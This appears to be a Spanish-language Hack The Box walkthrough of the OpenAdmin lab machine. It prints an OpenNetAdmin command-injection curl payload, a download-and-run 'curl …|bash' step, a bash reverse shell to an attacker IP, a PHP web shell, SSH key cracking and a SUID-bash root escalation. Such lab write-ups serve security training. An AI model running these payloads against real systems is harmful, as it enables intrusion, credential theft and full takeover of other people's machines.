lund@home:~$

Autor: Lund K. S.

HTB_OpenAdmin HTB_OpenAdmin | Hacker-Blog

HTB_OpenAdmin

OpenAdmin {-}

Introduccion {-}

La maquina del dia se llama OpenAdmin.

El replay del live se puede ver aqui

S4vitaar OpenAdmin maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.171

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.171

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.171 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.171 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 tcp Conneccion directa creds
80 tcp Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.171

Es un Apache 2.4.29 en un Ubuntu.

Checkear la web {-}

Si entramos en la url http://10.10.10.171, Vemos la Apache2 default page.

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.171/FUZZ

Vemos un directorio /arcwork que no nos muestra gran cosa. Tambien vemos un directorio /music y vemos que el login nos lleva a un directorio /ona

Pinchamos y llegamos a un panel de administracion de opennetadmin

Vulnerability Assessment {-}

opennetadmin {-}

searchsploit opennetadmin

Aqui vemos un exploit en bash para para el opennetadmin 18.1.1 y en la web estamos frente a uno de esta misma version

searchsploit -x 47691

Vemos que es un simple oneliner que envia con curl una peticion por POST. Intentamos con un whoami

curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 | html2text

Vemos que esto funcciona sin problemas. Intentamos ver si tenemos conectividad con la maquina.

  1. Lanzamos un servidor web con python

     python -m http.server 80
    
  2. Lanzamos una peticion curl a nuestra maquina

     curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";curl 10.10.14.8;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
    

Como hemos recibido la peticion get, intentamos ganar accesso al systema.## Vuln exploit & Gaining Access {-}

Ganando accesso con curl al opennetadmin {-}

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. Creamos un fichero index.html con codigo bash

     #!/bin/bash
    
     bash -i >& /dev/tcp/10.10.14.8/443 0>&1
    
  3. Creamos un servidor web con python

     python -m http.server 80
    
  4. Lanzamos el curl con reverseshell

     curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";curl 10.10.14.8|bash;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
    

Ya hemos ganado accesso al systema.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

User Pivoting {-}

ls
grep -r -i -E "user|pass|key|database"
grep -r -i -E "user|pass"
cd /home
find \-name user.txt 2>/dev/null
find \-name user.txt
id
sudo -l
cd /var/www
ls -la
cd internal
cd /opt/ona/www
ls
find \-type f 2>/dev/null | grep "config"

Aqui no hemos podido entrar en los directorios de los usuarios, y en el directorio internal del /var/www. Hemos visto quel directorio /var/www/ona era un link symbolico a /opt/ona/www y buscando por archivos conteniendo config en su nombre, hemos caido en un fichero database_settings.inc.php que contiene credenciales.

grep "sh$" /etc/passwd
su jimmy
Password: 

Hemos podido conectarnos como el usuario jimmy pero la flag no esta en su directorio de usuario. Parece que tenemos que convertirnos en el usuario joanna.

id

Aqui vemos quel usuario es parte del grupo internal. Miramos lo que hay en el directorio /var/www/internal

cd /var/www/internal
ls -la
cat main.php

Vemos que en la web de internal se podria ver el id_rsa de joanna. Miramos la configuracion de esta web

cd /etc/apache2/sites-available
cat internal.conf

Aqui vemos que hay una web montada en local por el puerto 52846. Lo mas interesante aqui es quel usuario joanna a sido asignada como AssignUserID de este servicio. Intentamos comprometer este servicio, directamente desde la maquina victima.

cd /var/www/internal
curl localhost:52846

Aqui vemos que podemos acceder a la web internal.

  1. creamos un nuevo fichero s4vishell.php

     <?php
         system("whoami");
     ?>
    
  2. lanzamos una peticion get a este fichero

     curl localhost:52846/s4vishell.php
     #Output
     joanna
    

En el fichero main.php vemos que hace un echo de la id_rsa de joanna. Lo miramos con curl

curl localhost:52846/main.php

copiamos la key en un fichero joanna_rsa en nuestra maquina de ataquante y nos connectamos con ssh

chmod 600 joanna_rsa
ssh joana@10.10.10.171 -i joanna_rsa

Aqui vemos que la id_rsa esta protegida por una contraseña. Crackeamos la llave.

Crackeamos la id_rsa con ssh2john {-}

/usr/share/john/ssh2john.py joanna_rsa > hash
john --wordlists=/usr/share/wordlists/rockyou.txt hash

Aqui ya tenemos la contraseña de la id_rsa de joanna y nos podemos conectar

ssh -i joanna_rsa joanna@10.10.10.171
Enter passphrase

y ya podemos leer la flag.

Privilege Escalation {-}

Rootear la maquina {-}

id
sudo -l

Aqui vemos que podemos ejecutar nano /opt/priv como el usuario root sin proporcionar contraseña.

sudo -u root nano /opt/priv

Ctrl+r
Ctrl+x

chmod 4755 /bin/bash

Enter

Ya podemos ver que la /bin/bash tiene privilegios SUID y que podemos convertirnos en root para leer la flag

ls -la /bin/bash
bash -p
whoami
#Output
root